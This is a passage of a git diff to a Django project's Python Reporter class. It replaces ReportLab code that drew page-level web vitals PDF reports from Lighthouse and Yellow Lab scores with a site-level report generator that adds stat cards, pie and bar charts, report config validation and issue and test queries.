+            y_pos: int, 
+            y_offset: int
+        ) -> None:
+        """
+        :param text: the raw text to wrap
+        :param length: the max number of characters per line
+        :param x_pos: starting x position
+        :param y_pos: starting y position
+        :param y_offset: the amount of space to leave between wrapped lines
+        """
+        # Wraps the passed test at a certain char_length
+        if len(text) > length:
+            wraps = textwrap.wrap(text, length, break_long_words=True)
+            for x in range(len(wraps)):
+                self.c.drawString(x_pos*inch, y_pos*inch, wraps[x])
+                y_pos -= y_offset
+            y_pos += y_offset  # add back offset after last wrapped line
+        else:
+            self.c.drawString(x_pos*inch, y_pos*inch, text)
+        return None
+
+    
+
+
+    def cover_page(self) -> None:
+        """ 
+        Builds the cover page with a title
+
+        Returns: None
+        """
+
+        # background and title
+        self.setup_page()
+        
+        # creating dark triangle
+        p = self.c.beginPath()
+        p.moveTo(0*inch, 11*inch)
+        p.lineTo(7*inch, 11*inch)
+        p.lineTo(2.5*inch, 4.5*inch)
+        p.lineTo(0*inch, 7*inch)
+        self.c.setFillColor(HexColor('#00000026', hasAlpha=True))
+        self.c.setStrokeColor(HexColor('#00000026', hasAlpha=True))
+        self.c.drawPath(p, fill=1)
+
+        # crating light triangle
+        p = self.c.beginPath()
+        p.moveTo(0*inch, 0*inch)
+        p.lineTo(0*inch, 7*inch)
+        p.lineTo(7*inch, 0*inch)
+        self.c.setFillColor(HexColor('#0000000D', hasAlpha=True))
+        self.c.setStrokeColor(HexColor('#0000000D', hasAlpha=True))
+        self.c.drawPath(p, fill=1)
+
+        # date
+        date = f'{self.scan.time_created.month}/{self.scan.time_created.day}/{self.scan.time_created.year}'
+        self.c.setFont('Helvetica-Bold', 24)
+        self.c.setFillColor(HexColor(self.text_color))
+        self.c.drawString(.5*inch, 7.5*inch, date)
+
+        # title
+        self.c.setFont('Helvetica-Bold', 45)
+        self.c.setFillColor(HexColor(self.text_color))
+        self.c.drawString(.5*inch, 10*inch, 'Web Vitals for')
+        
+        # page url
+        font_size = max((30 * (26/len(self.page.page_url))), 16)
+        self.c.setFont('Helvetica-Bold', font_size)
+        self.draw_wrapped_line(text=self.page.page_url, length=65, x_pos=.5, y_pos=9, y_offset=.5)
+        
+        # cover img
+        cover_img = os.path.join(settings.BASE_DIR, "api/utils/report_assets/cover_img.png")
+        self.c.drawImage(cover_img, 1*inch, 2*inch, 6.04*inch, 4.68*inch, mask='auto')
+        self.end_page()
+        return None
+        
+
+
+    
+    def get_score_data(self, score: float, is_binary: bool=False) -> dict:
+        """ 
+        Using the passed 'score', decide on 
+        which grade and color to return.
+
+        Args:
+            'score'     : float,
+            'is_binary' : bool
+
+        Returns: dict
+        """
+
+        # calc score if binary
+        score = float(score)
+        if is_binary:
+            score = score*100
+
+        # defining score types
+        score_types = {
+            "a": {
+                "grade": "A",
+                "color": "#38B43F",
+            },
+            "b": {
+                "grade": "B",
+                "color": "#82B436",
+            },
+            "c": {
+                "grade": "C",
+                "color": "#ACB43C",
+            },
+            "d": {
+                "grade": "D",
+                "color": "#B49836",
+            },
+            "e": {
+                "grade": "E",
+                "color": "#B46B34",
+            },
+            "f": {
+                "grade": "F",
+                "color": "#B43A29",
+            },
+
+        }
+
+        # calculate grade
+        if score >= 80:
+            grade = score_types['a']
+        elif 80 > score >= 70:
+            grade = score_types['b']
+        elif 70 > score >= 50:
+            grade = score_types['c']
+        elif 50 > score >= 30:
+            grade = score_types['d']
+        elif 30 > score >= 0:
+            grade = score_types['e']
+        else:
+            grade = score_types['f']
+
+        # return
+        return grade
+
+
+
+
+    def get_cat_string(self, cat: str) -> str:
+        """ 
+        Returns the string coresponding to the passed 'cat'
+        """
+        
+        if cat == 'fonts':
+            string = 'Fonts'
+        elif cat == 'badCSS':
+            string = 'Bad CSS'
+        elif cat == 'jQuery':
+            string = 'jQuery'
+        elif cat == 'images':
+            string = 'Images'
+        elif cat == 'pageWeight':
+            string = 'Page Weight'
+        elif cat == 'serverConfig':
+            string = 'Server Config'
+        elif cat == 'badJavascript':
+            string = 'Bad JS'
+        elif cat == 'cssComplexity':
+            string = 'CSS Complexity'
+        elif cat == 'domComplexity':
+            string = 'DOM Complexity'
+        elif cat == 'javascriptComplexity':
+            string = 'JS Complexity'
+        elif cat == 'seo':
+            string = 'SEO'
+        elif cat == 'pwa':
+            string = 'PWA'
+        elif cat == 'crux':
+            string = 'CRUX'
+        elif cat == 'best_practices' or cat == 'best-practices':
+            string = 'Best Practices'
+        elif cat == 'performance':
+            string = 'Performance'
+        elif cat == 'accessibility':
+            string = 'Accessibility'
+
+        return string
+
+    
+    
+
+    def get_audits(self, uri: str=None) -> dict:
+        """
+        Downloads the JSON file from the passed uri
+        and return the data as a python dict
+        """
+        if uri:
+            res = requests.get(uri)
+            audits = res.json()
+            return audits
+        else:
+            return []
+
+
+
+
+    def create_data(self, data_type: str) -> None:
+        """ 
+        Paints the data for the passed 'data_type', 
+        either 'lighthouse' or 'yellowlab'.
+        
+        Args:
+            'data_type': str
+
+        Returns: None
+        """
+        
+        # add new page
+        self.setup_page()
+        
+        # decide on which data type
+        if data_type == 'yellowlab':
+            data = self.scan.yellowlab
+            data['audits'] = self.get_audits(data['audits'])
+            page_title = 'Yellow Lab'
+            avg_score = 'globalScore'
+
+        if data_type == 'lighthouse':
+            data = self.scan.lighthouse
+            data['audits'] = self.get_audits(data['audits'])
+            page_title = 'Lighthouse'
+            avg_score = 'average'
+            
+        self.draw_page_title(page_title)
+        if data['scores'][avg_score] is None:
+            return False
+
+        # measurements
+        space = .25
+        text_space = .05
+        begin_y = 8
+        log_margin = 3.7
+        text_margin = .3
+        value_margin = 3
+        log_height = .2
+        log_width = 4
+        grade_tab_width = .07
+
+        c_count = 0
+        logs_count = 0
+        for cat in data['audits']:
+
+            # checking if cat is not null
+            if data['scores'][cat] is not None:
+
+                # creating global score
+                if c_count == 0:
+                    grade_obj = self.get_score_data((data['scores'][avg_score] or 0))
+                    self.c.setFillColor(HexColor(grade_obj['color'],))
+                    self.c.roundRect(
+                        2*inch, 
+                        8.7*inch, 
+                        1*inch, 
+                        1*inch,
+                        .17*inch, 
+                        stroke=0, 
+                        fill=1
+                    )
+                    self.c.setFillColor(HexColor(self.text_color))
+                    self.c.setFont('Helvetica', 30)
+                    self.c.drawCentredString(
+                        2.5*inch, 
+                        9.05*inch,
+                        grade_obj['grade']
+                    )
+                    self.c.setFont('Helvetica', 20)
+                    self.c.drawCentredString(
+                        5.5*inch, 
+                        8.9*inch,
+                        'Global Score'
+                    )
+                    self.c.setFont('Helvetica-Bold', 20)
+                    self.c.drawCentredString(
+                        5.5*inch, 
+                        9.25*inch,
+                        f'{data["scores"][avg_score]}/100'
+                    )
+
+                # creating new page at limit --> 20 items
+                if logs_count >= 20:
+                    self.end_page()
+                    logs_count = 0
+                    begin_y = 9
+                    self.setup_page()
+                    self.draw_page_title(f'{page_title} (continued)')
+
+                # creating space btw sections
+                if c_count > 0 and logs_count != 0:
+                    begin_y = (self.y - .2)
+
+                # creating individual grade cards
+                grade_obj = self.get_score_data((data['scores'][cat] or 0))
+                self.c.setFillColor(HexColor(grade_obj['color'],))
+                self.c.roundRect(
+                    .5*inch, 
+                    (begin_y - .25)*inch, 
+                    .5*inch, 
+                    .5*inch,
+                    .12*inch, 
+                    stroke=0, 
+                    fill=1
+                )
+                self.c.setFillColor(HexColor(self.text_color))
+                self.c.setFont('Helvetica', 16)
+                self.c.drawCentredString(
+                    .75*inch, 
+                    (begin_y - .07)*inch,
+                    grade_obj['grade']
+                )
+
+                self.c.setFont('Helvetica', 16)
+                cat_string = self.get_cat_string(cat)
+                self.c.drawCentredString(
+                    2.3*inch, 
+                    (begin_y - .07)*inch,
+                    cat_string
+                )
+
+                p_count = 0
+                for policy in data['audits'][cat]:
+
+                    if (begin_y - (space * p_count)) < 1:
+                        break
+
+                    # setting up keys for dict(s)
+                    if data_type == 'yellowlab':
+                        policy_text = policy["policy"]["label"]
+                        policy_value = policy["value"]
+                        binary = False
+                    if data_type == 'lighthouse':
+                        policy_text = policy["title"]
+                        policy_value = ''
+                        if "displayValue" in policy:
+                            if len(policy["displayValue"]) < 9:
+                                policy_value = policy["displayValue"]
+                        binary = True
+
+                    if len(policy_text) < 53:
+                        # creating log box
+                        self.c.setFont('Helvetica', 9)
+                        self.c.setFillColor(HexColor(f'{self.highlight_color}95', hasAlpha=True))
+                        self.c.rect(
+                            log_margin*inch, 
+                            (begin_y - (space * p_count))*inch, 
+                            log_width*inch, log_height*inch, 
+                            stroke=0, 
+                            fill=1
+                        )
+                        
+                        # get grade tab
+                        grade_obj = self.get_score_data((policy['score'] or 0), is_binary=binary)
+                        self.c.setFillColor(HexColor(grade_obj['color'],)) 
+                        self.c.rect(
+                            log_margin*inch, 
+                            (begin_y - (space * p_count))*inch, 
+                            grade_tab_width*inch, 
+                            log_height*inch, 
+                            stroke=0, 
+                            fill=1
+                        )
+                        
+                        # inserting data
+                        self.c.setFillColor(HexColor(self.text_color))
+
+                        # text
+                        self.c.drawString(
+                            (log_margin + text_margin)*inch,
+                            ((begin_y - (space * p_count)) + text_space)*inch, 
+                            (f'{policy_text}')
+                        )
+                        
+                        # value
+                        self.c.drawString(
+                            (value_margin + text_margin + log_margin)*inch, 
+                            ((begin_y - (space * p_count)) + text_space)*inch, 
+                            (f'{policy_value}')
+                        )
+                        
+                        p_count += 1
+                        logs_count += 1
+                        self.y = (begin_y - (space * p_count))
+            
+            c_count += 1
+        
+        self.end_page()
+
+        return None
+
+
+
+
+
+    def generate_report(self) -> dict:
+        """ 
+        Generates a new Report.
+
+        Returns:
+            'report' : object,
+            'success': bool,
+            'message': str
+        """
+
+        # setting defaults
+        message = 'Scan Page first'
+        success = False
+
+        # generating if scan is available
+        if self.scan:
+            
+            # add title
+            self.cover_page()
+        
+            # build lighthouse data
+            if 'lighthouse' in self.report.type or 'full' in self.report.type:
+                self.create_data(data_type='lighthouse')
+
+            # build yellowlab data
+            if 'yellowlab' in self.report.type or 'full' in self.report.type:
+                self.create_data(data_type='yellowlab')
+            
+            # save report
+            self.publish_report()
+            message = 'Report Generated'
+            success = True
+        
+        # formating response
+        data = {
+            'report' : self.report,
+            'success': success,
+            'message': message
+        }
+
+        # returning response
+        return data
+
+
+        
+
+
+
+    
\ No newline at end of file
diff --git a/app/api/utils/reporter.py b/app/api/utils/reporter.py
index 96eed9a4..57521afa 100644
--- a/app/api/utils/reporter.py
+++ b/app/api/utils/reporter.py
@@ -1,27 +1,25 @@
-from ..models import *
-from cursion import settings
+from datetime import timedelta
+import os
+import textwrap
+
+import boto3
+from django.utils import timezone
+from reportlab.graphics import renderPDF
+from reportlab.graphics.charts.barcharts import VerticalBarChart
+from reportlab.graphics.charts.piecharts import Pie
+from reportlab.graphics.shapes import Drawing, String
+from reportlab.lib.colors import HexColor
 from reportlab.lib.pagesizes import letter
 from reportlab.lib.units import inch
-from reportlab.lib.colors import HexColor
 from reportlab.pdfgen import canvas
-import os, json, boto3, textwrap, requests
-
-
-
-
 
+from ..models import CaseRun, Issue, Page, Scan, Site, Test
+from cursion import settings
 
-class Reporter():
-    """ 
-    Used for generating web vitals reports for 
-    the associated `Page` & `Scan`
-
-    Args:
-        'report': <report:obj>,
-        'scan'  : <scan:obj>,
-    }
 
-    Use self.generate_report() to create a new report
+class Reporter:
+    """
+    Generates a site-level PDF report for the associated `Report` object.
 
     Returns:
         'report' : object,
@@ -29,556 +27,799 @@ class Reporter():
         'message': str
     """
 
+    VALID_LOOKBACK_DAYS = {1, 7, 30, 90}
+    VALID_TYPES = {"issues", "tests", "caseruns", "performance"}
+    FONT_REGULAR = "Helvetica"
+    FONT_BOLD = "Helvetica-Bold"
 
-
-
-    def __init__(self, report: object, scan: object=None):
-        
-        # getting report, scan, & page
+    def __init__(self, report: object, scan: object = None):
         self.report = report
-        self.page = self.report.page
         self.scan = scan
+        self.site = self.report.site
+
+        if self.site is None and self.report.page is not None:
+            self.site = self.report.page.site
+
+        info = self.report.info if isinstance(self.report.info, dict) else {}
+        self.text_color = info.get("text_color", "#24262d")
+        self.highlight_color = info.get("highlight_color", "#ffffff")
+        self.background_color = info.get("background_color", "#e1effd")
+
+        reports_dir = os.path.join(settings.BASE_DIR, "reports")
+        if not os.path.exists(reports_dir):
+            os.makedirs(reports_dir)
+        self.local_path = os.path.join(reports_dir, f"{self.report.id}.pdf")
 
-        # retrieveing latest scan if none
-        if scan is None:
-            try:
-                self.scan = Scan.objects.filter(
-                    page=self.page
-                ).exclude(
-                    time_completed=None
-                ).order_by('-time_created')[0]
-            except Exception as e:
-                print(e)
-                self.scan = None
-
-        # building paths & canvas template
-        if os.path.exists(os.path.join(settings.BASE_DIR, f'reports/')):
-            self.local_path = os.path.join(settings.BASE_DIR, f'reports/{self.report.id}.pdf')
-        else:
-            os.makedirs(f'{settings.BASE_DIR}/reports')
-            self.local_path = os.path.join(settings.BASE_DIR, f'reports/{self.report.id}.pdf')
-    
-        # setting default colors 
         self.page_index = 0
-        self.text_color = self.report.info['text_color']
-        self.highlight_color = self.report.info['highlight_color']
-        self.background_color = self.report.info['background_color']
         self.c = canvas.Canvas(self.local_path, letter)
-        self.y = 9
 
-        # define s3 instance
-        self.s3 = boto3.client('s3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+        self.s3 = boto3.client(
+            "s3",
+            aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+            region_name=str(settings.AWS_S3_REGION_NAME),
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL),
         )
 
-    
+
+    def _with_alpha(self, color_hex: str, alpha_hex: str) -> HexColor:
+        color_hex = str(color_hex or "#000000").strip()
+        if not color_hex.startswith("#"):
+            color_hex = f"#{color_hex}"
+        if len(color_hex) != 7:
+            color_hex = "#000000"
+        return HexColor(f"{color_hex}{alpha_hex}", hasAlpha=True)
+
+
+    def _fit_text(self, text: str, font_name: str, font_size: float, max_width_px: float) -> str:
+        value = str(text or "")
+        if self.c.stringWidth(value, font_name, font_size) <= max_width_px:
+            return value
+
+        suffix = "..."
+        low = 0
+        high = len(value)
+        best = ""
+        while low <= high:
+            mid = (low + high) // 2
+            candidate = f"{value[:mid]}{suffix}"
+            if self.c.stringWidth(candidate, font_name, font_size) <= max_width_px:
+                best = candidate
+                low = mid + 1
+            else:
+                high = mid - 1
+        return best or suffix
+
+
+    def _wrap_text_to_width(self, text: str, font_name: str, font_size: float, max_width_px: float) -> list[str]:
+        value = str(text or "").replace("\n", " ").strip()
+        if not value:
+            return [""]
+
+        words = value.split()
+        lines: list[str] = []
+        current = ""
+
+        for word in words:
+            candidate = f"{current} {word}".strip()
+            if current and self.c.stringWidth(candidate, font_name, font_size) > max_width_px:
+                lines.append(current)
+                current = word
+                if self.c.stringWidth(current, font_name, font_size) > max_width_px:
+                    chunk = ""
+                    for char in current:
+                        next_chunk = f"{chunk}{char}"
+                        if chunk and self.c.stringWidth(next_chunk, font_name, font_size) > max_width_px:
+                            lines.append(chunk)
+                            chunk = char
+                        else:
+                            chunk = next_chunk
+                    current = chunk
+            else:
+                current = candidate
+
+        if current:
+            lines.append(current)
+
+        return lines or [""]
 
 
     def setup_page(self) -> None:
-        # sets the defaults for a new page
         self.c.setFillColor(HexColor(self.background_color))
-        self.c.rect(0, 0, 8.5*inch, 11*inch, stroke=0, fill=1)
-        return None
-
-
+        self.c.rect(0, 0, 8.5 * inch, 11 * inch, stroke=0, fill=1)
 
 
     def end_page(self) -> None:
-        # adds page number and ends page
-        self.c.setFont('Helvetica-Bold', 15)
+        self.c.setFont(self.FONT_BOLD, 10)
         self.c.setFillColor(HexColor(self.text_color))
         self.page_index += 1
-        self.c.drawString(7.7*inch, .3*inch, str(self.page_index))
+        self.c.drawString(7.7 * inch, 0.3 * inch, str(self.page_index))
         self.c.showPage()
-        return None
 
 
+    def draw_page_title(self, title: str, subtitle: str | None = None) -> None:
+        self.c.setFont(self.FONT_BOLD, 27)
+        self.c.setFillColor(HexColor(self.text_color))
+        self.c.drawString(0.5 * inch, 9.9 * inch, title)
+        if subtitle:
+            self.c.setFont(self.FONT_REGULAR, 11)
+            self.c.drawString(0.5 * inch, 9.56 * inch, subtitle)
+
+
+    def draw_wrapped_line(self, text: str, length: int, x_pos: float, y_pos: float, y_offset: float) -> float:
+        wraps = textwrap.wrap(str(text), length, break_long_words=True) or [""]
+        for line in wraps:
+            self.c.drawString(x_pos * inch, y_pos * inch, line)
+            y_pos -= y_offset
+        return y_pos
+
 
+    def _draw_stat_card(self, x: float, y: float, w: float, h: float, title: str, value: str, subtitle: str = "", value_font_size: float = 17) -> None:
+        self.c.setFillColor(self._with_alpha(self.highlight_color, "CF"))
+        self.c.roundRect(x * inch, y * inch, w * inch, h * inch, 0.1 * inch, stroke=0, fill=1)
 
-    def draw_page_title(self, title: str) -> None:
-        # adds a title to the given page 
-        self.c.setFont('Helvetica-Bold', 32)
         self.c.setFillColor(HexColor(self.text_color))
-        self.c.drawCentredString(4.25*inch, 10*inch, title)
-        return None
+        self.c.setFont(self.FONT_REGULAR, 9)
+        self.c.drawString((x + 0.14) * inch, (y + h - 0.22) * inch, title)
+
+        fitted_value = self._fit_text(value, self.FONT_BOLD, value_font_size, (w - 0.28) * inch)
+        self.c.setFont(self.FONT_BOLD, value_font_size)
+        self.c.drawString((x + 0.14) * inch, (y + 0.34) * inch, fitted_value)
+
+        if subtitle:
+            self.c.setFont(self.FONT_REGULAR, 8)
+            self.c.drawString((x + 0.14) * inch, (y + 0.13) * inch, self._fit_text(subtitle, self.FONT_REGULAR, 8, (w - 0.28) * inch))
+
+
+    def _draw_pie_chart(self, x: float, y: float, w: float, h: float, title: str, data_pairs: list[tuple[str, float]]) -> None:
+        values = [float(max(0, p[1])) for p in data_pairs]
+        labels = [str(p[0]) for p in data_pairs]
+        if not values or sum(values) <= 0:
+            self.c.setFont(self.FONT_REGULAR, 10)
+            self.c.setFillColor(HexColor(self.text_color))
+            self.c.drawString(x * inch, y * inch, f"{title}: no data")
+            return
+
+        drawing = Drawing(w * inch, h * inch)
+        pie = Pie()
+        pie_bottom = 0.08 * inch
+        pie_top = (h * inch) - 0.55 * inch
+        max_pie_width = (w - 0.2) * inch
+        max_pie_height = max(0.6 * inch, pie_top - pie_bottom)
+        pie_size = min(max_pie_width, max_pie_height)
+        pie.x = ((w * inch) - pie_size) / 2
+        pie.y = pie_bottom + ((max_pie_height - pie_size) / 2)
+        pie.width = pie_size
+        pie.height = pie_size
+        pie.data = values
+        pie.labels = labels
+        pie.slices.strokeWidth = 0.5
+        pie.slices.fontName = self.FONT_REGULAR
+        pie.slices.fontSize = 8
+
+        palette = [
+            HexColor("#38B43F"),
+            HexColor("#DB524B"),
+            HexColor("#E3A635"),
+            HexColor("#4B79DB"),
+            HexColor("#9A5FDB"),
+            HexColor("#4DB2A7"),
+        ]
+        for i in range(len(values)):
+            pie.slices[i].fillColor = palette[i % len(palette)]
+
+        drawing.add(pie)
+        drawing.add(String(4, h * inch - 12, title, fontName=self.FONT_BOLD, fontSize=10, fillColor=HexColor(self.text_color)))
+        renderPDF.draw(drawing, self.c, x * inch, y * inch)
+
+
+    def _draw_bar_chart(self, x: float, y: float, w: float, h: float, title: str, labels: list[str], values: list[float]) -> None:
+        if not values:
+            self.c.setFont(self.FONT_REGULAR, 10)
+            self.c.setFillColor(HexColor(self.text_color))
+            self.c.drawString(x * inch, y * inch, f"{title}: no data")
+            return
+
+        data_max = max(float(v) for v in values)
+        if data_max <= 0:
+            axis_max = 1.0
+        elif data_max <= 5:
+            axis_max = data_max + 1
+        else:
+            axis_max = data_max * 1.1
+        axis_step = max(1.0, round(axis_max / 5))
+
+        chart_w_px = w * inch
+        chart_h_px = h * inch
+        title_y = chart_h_px - 12
+
+        indexed_labels = [str(i + 1) for i in range(len(labels))]
+        legend_font_size = 7
+        legend_line_h = 0.1 * inch
+        legend_item_gap = 0.03 * inch
+        legend_top_margin = 0.18 * inch
+        legend_bottom_gap = 0.1 * inch
+        legend_cols = 1 if len(labels) <= 3 else 2
+        legend_gap = 0.16 * inch if legend_cols > 1 else 0
+        legend_width = chart_w_px - 0.16 * inch
+        legend_col_width = max(1.0 * inch, (legend_width - legend_gap) / legend_cols)
+
+        col_split = max(1, (len(labels) + legend_cols - 1) // legend_cols)
+        legend_entries: list[list[tuple[int, list[str]]]] = [[] for _ in range(legend_cols)]
+        col_heights = [0.0 for _ in range(legend_cols)]
+
+        for i, label in enumerate(labels):
+            col = min(i // col_split, legend_cols - 1)
+            wrapped = self._wrap_text_to_width(f"{i + 1}: {label}", self.FONT_REGULAR, legend_font_size, legend_col_width)
+            legend_entries[col].append((i + 1, wrapped))
+            col_heights[col] += (len(wrapped) * legend_line_h) + legend_item_gap
+
+        legend_height = max(col_heights) if legend_entries else 0
+        chart_top = title_y - legend_top_margin - legend_height - legend_bottom_gap
+        chart_y = 0.4 * inch
+        chart_height = max(0.95 * inch, chart_top - chart_y)
+
+        drawing = Drawing(w * inch, h * inch)
+        chart = VerticalBarChart()
+        chart.x = 0.45 * inch
+        chart.y = chart_y
+        chart.width = (w - 0.7) * inch
+        chart.height = chart_height
+        chart.data = [values]
+        chart.valueAxis.valueMin = 0
+        chart.valueAxis.valueMax = axis_max
+        chart.valueAxis.valueStep = axis_step
+        chart.valueAxis.labels.fontSize = 7
+        chart.valueAxis.labels.fontName = self.FONT_REGULAR
+        chart.categoryAxis.categoryNames = indexed_labels
+        chart.categoryAxis.labels.fontSize = 7
+        chart.categoryAxis.labels.fontName = self.FONT_REGULAR
+        chart.categoryAxis.labels.boxAnchor = "n"
+        chart.barWidth = 0.17 * inch
+        chart.groupSpacing = 0.14 * inch
+        chart.barSpacing = 0.05 * inch
+        chart.bars[0].fillColor = self._with_alpha(self.highlight_color, "E6")
+        chart.strokeColor = self._with_alpha(self.text_color, "66")
+
+        drawing.add(chart)
+        drawing.add(String(4, title_y, title, fontName=self.FONT_BOLD, fontSize=10, fillColor=HexColor(self.text_color)))
+
+        legend_y_start = title_y - legend_top_margin
+        for col, entries in enumerate(legend_entries):
+            lx = (0.08 * inch) + (col * (legend_col_width + legend_gap))
+            ly = legend_y_start
+            for _, wrapped in entries:
+                for line in wrapped:
+                    drawing.add(String(lx, ly, line, fontName=self.FONT_REGULAR, fontSize=legend_font_size, fillColor=HexColor(self.text_color)))
+                    ly -= legend_line_h
+                ly -= legend_item_gap
+
+        renderPDF.draw(drawing, self.c, x * inch, y * inch)
+
+
+    def _draw_design_list(self, x: float, y: float, w: float, row_h: float, title: str, items: list[dict], max_rows: int = 6) -> None:
+        self.c.setFont(self.FONT_BOLD, 10)
+        self.c.setFillColor(HexColor(self.text_color))
+        self.c.drawString(x * inch, y * inch, title)
+        self.c.setStrokeColor(self._with_alpha(self.text_color, "44"))
+        self.c.line(x * inch, (y - 0.04) * inch, (x + w) * inch, (y - 0.04) * inch)
+
+        y -= 0.15
+        cursor_y = y
+        for idx, item in enumerate(items[:max_rows], start=1):
+            accent_color = item.get("accent_color", "#4B79DB")
+            badge = item.get("badge")
+            badge_w = 0
+            if badge:
+                badge_w = min(2.1, 0.28 + (len(str(badge)) * 0.065))
+
+            left_padding = 0.11 * inch
+            right_padding = 0.1 * inch
+            max_text_width = max(28, (w * inch) - left_padding - right_padding - ((badge_w + 0.18) * inch if badge else 0))
+
+            headline_font_size = 8.7
+            meta_font_size = 8
+            headline_line_h = 0.125 * inch
+            meta_line_h = 0.118 * inch
+            headline_meta_gap = 0.102 * inch
+            top_bottom_padding = 0.085 * inch
+
+            headline_lines = self._wrap_text_to_width(item.get("headline", ""), self.FONT_BOLD, headline_font_size, max_text_width)
+            meta_lines = self._wrap_text_to_width(item.get("meta", ""), self.FONT_REGULAR, meta_font_size, max_text_width)
+            headline_block_h = max(0, (len(headline_lines) - 1)) * headline_line_h
+            meta_block_h = max(0, (len(meta_lines) - 1)) * meta_line_h
+            content_h = headline_block_h + headline_meta_gap + meta_block_h
+            box_h = max((row_h - 0.04) * inch, content_h + (top_bottom_padding * 2))
+            box_h_in = box_h / inch
+            box_y = cursor_y - box_h_in
+            box_y_px = box_y * inch
+
+            alpha = "A8" if idx % 2 else "8F"
+            self.c.setFillColor(self._with_alpha(self.highlight_color, alpha))
+            self.c.roundRect(x * inch, box_y_px, w * inch, box_h, 0.05 * inch, stroke=0, fill=1)
+
+            self.c.setFillColor(self._with_alpha(accent_color, "EE"))
+            self.c.roundRect(x * inch, box_y_px, 0.06 * inch, box_h, 0.03 * inch, stroke=0, fill=1)
+
+            if badge:
+                badge_x = x + w - badge_w - 0.1
+                badge_color = item.get("badge_color", "#4B79DB")
+                self.c.setFillColor(self._with_alpha(badge_color, "DD"))
+                badge_h = 0.18 * inch
+                badge_y = box_y_px + ((box_h - badge_h) / 2)
+                self.c.roundRect(badge_x * inch, badge_y, badge_w * inch, badge_h, 0.08 * inch, stroke=0, fill=1)
+                self.c.setFillColor(HexColor("#ffffff"))
+                self.c.setFont(self.FONT_BOLD, 7.3)
+                self.c.drawCentredString((badge_x + (badge_w / 2)) * inch, badge_y + (0.055 * inch), str(badge))
+
+            text_x = (x + 0.11) * inch
+            line_y = box_y_px + (box_h / 2) + (content_h / 2)
+
+            self.c.setFillColor(HexColor(self.text_color))
+            self.c.setFont(self.FONT_BOLD, headline_font_size)
+            for i, line in enumerate(headline_lines):
+                self.c.drawString(text_x, line_y, line)
+                if i < len(headline_lines) - 1:
+                    line_y -= headline_line_h
+
+            line_y -= headline_meta_gap
+            self.c.setFont(self.FONT_REGULAR, meta_font_size)
+            for i, line in enumerate(meta_lines):
+                self.c.drawString(text_x, line_y, line)
+                if i < len(meta_lines) - 1:
+                    line_y -= meta_line_h
+
+            cursor_y = box_y - 0.04
+
+
+    def _normalize_types(self):
+        raw_types = self.report.type
+        if raw_types is None:
+            info = self.report.info if isinstance(self.report.info, dict) else {}
+            raw_types = info.get("types") or info.get("type")
+
+        if isinstance(raw_types, str):
+            selected = [raw_types]
+        elif isinstance(raw_types, list):
+            selected = [item for item in raw_types if isinstance(item, str)]
+        else:
+            selected = []
 
+        selected = list(dict.fromkeys([item.strip().lower() for item in selected if item.strip()]))
 
+        if not selected:
+            return None, "Invalid report config: `type` is required and must be a non-empty array."
 
+        invalid = [item for item in selected if item not in self.VALID_TYPES]
+        if invalid:
+            return None, f"Invalid report config: unsupported `type` values {invalid}. Supported values: {sorted(self.VALID_TYPES)}."
 
-    def publish_report(self) -> None:
-        # saves report and uploads to s3
-        self.c.save()
-        remote_path = f'static/sites/{self.report.page.site.id}/{self.report.page.id}/{self.report.id}.pdf'
-        # uploading package to remote s3 
-        with open(self.local_path, 'rb') as data:
-            self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME),
-                remote_path, ExtraArgs={
-                    'ACL': 'public-read', 'ContentType': 'application/pdf'}
+        return selected, None
+
+
+    def _get_lookback_days(self):
+        info = self.report.info if isinstance(self.report.info, dict) else {}
+        raw_days = info.get("lookback_days")
+        try:
+            lookback_days = int(raw_days)
+        except Exception:
+            return None, "Invalid report config: `lookback_days` is required (1, 7, 30, or 90)."
+
+        if lookback_days not in self.VALID_LOOKBACK_DAYS:
+            return None, "Invalid report config: `lookback_days` must be one of 1, 7, 30, 90."
+
+        return lookback_days, None
+
+
+    def _resolve_site(self):
+        if self.site is not None:
+            return self.site, None
+
+        info = self.report.info if isinstance(self.report.info, dict) else {}
+        site_id = info.get("site_id")
+        if not site_id:
+            return None, "Report generation failed: `site_id` is required for site-level reports."
+
+        try:
+            site = Site.objects.get(id=site_id)
+        except Site.DoesNotExist:
+            return None, f"Report generation failed: site `{site_id}` not found."
+
+        self.site = site
+        self.report.site = site
+        return site, None
+
+
+    def _build_issues_data(self, window_start, now):
+        records = []
+        _ids = [str(p.id) for p in Page.objects.filter(site=self.site)] + [str(self.site.id)]
+        issues = (
+            Issue.objects.filter(account=self.report.account, status="open", time_created__gte=window_start, affected__id__in=_ids)
+            .order_by("-time_created")
+        )
+
+        print('SCRAPPED ISSUES')
+        print(issues)
+
+        for issue in issues:
+            affected = issue.affected if isinstance(issue.affected, dict) else {}
+            if str(affected.get("id") or "") not in _ids:
+                continue
+            created = issue.time_created
+            age_days = max((now - created).days, 0) if created else None
+            records.append(
+                {
+                    "title": issue.title or "Untitled issue",
+                    "affected": affected.get("str"),
+                    "created": created,
+                    "age_days": age_days,
+                }
             )
-        # building and saving report_url
-        report_url = f'{settings.AWS_S3_URL_PATH}/{remote_path}#toolbar=0'
-        self.report.path = report_url
-        self.report.save()
-        os.remove(self.local_path)
-        return None
-
-
-
-
-    def draw_wrapped_line(
-            self, 
-            text: str, 
-            length: int, 
-            x_pos: int, 
-            y_pos: int, 
-            y_offset: int
-        ) -> None:
-        """
-        :param text: the raw text to wrap
-        :param length: the max number of characters per line
-        :param x_pos: starting x position
-        :param y_pos: starting y position
-        :param y_offset: the amount of space to leave between wrapped lines
-        """
-        # Wraps the passed test at a certain char_length
-        if len(text) > length:
-            wraps = textwrap.wrap(text, length, break_long_words=True)
-            for x in range(len(wraps)):
-                self.c.drawString(x_pos*inch, y_pos*inch, wraps[x])
-                y_pos -= y_offset
-            y_pos += y_offset  # add back offset after last wrapped line
-        else:
-            self.c.drawString(x_pos*inch, y_pos*inch, text)
-        return None
 
-    
+        return {"count": len(records), "records": records}
 
 
-    def cover_page(self) -> None:
-        """ 
-        Builds the cover page with a title
+    def _build_tests_data(self, window_start):
+        tests_qs = (
+            Test.objects.filter(site=self.site, time_completed__isnull=False, time_completed__gte=window_start)
+            .select_related("page")
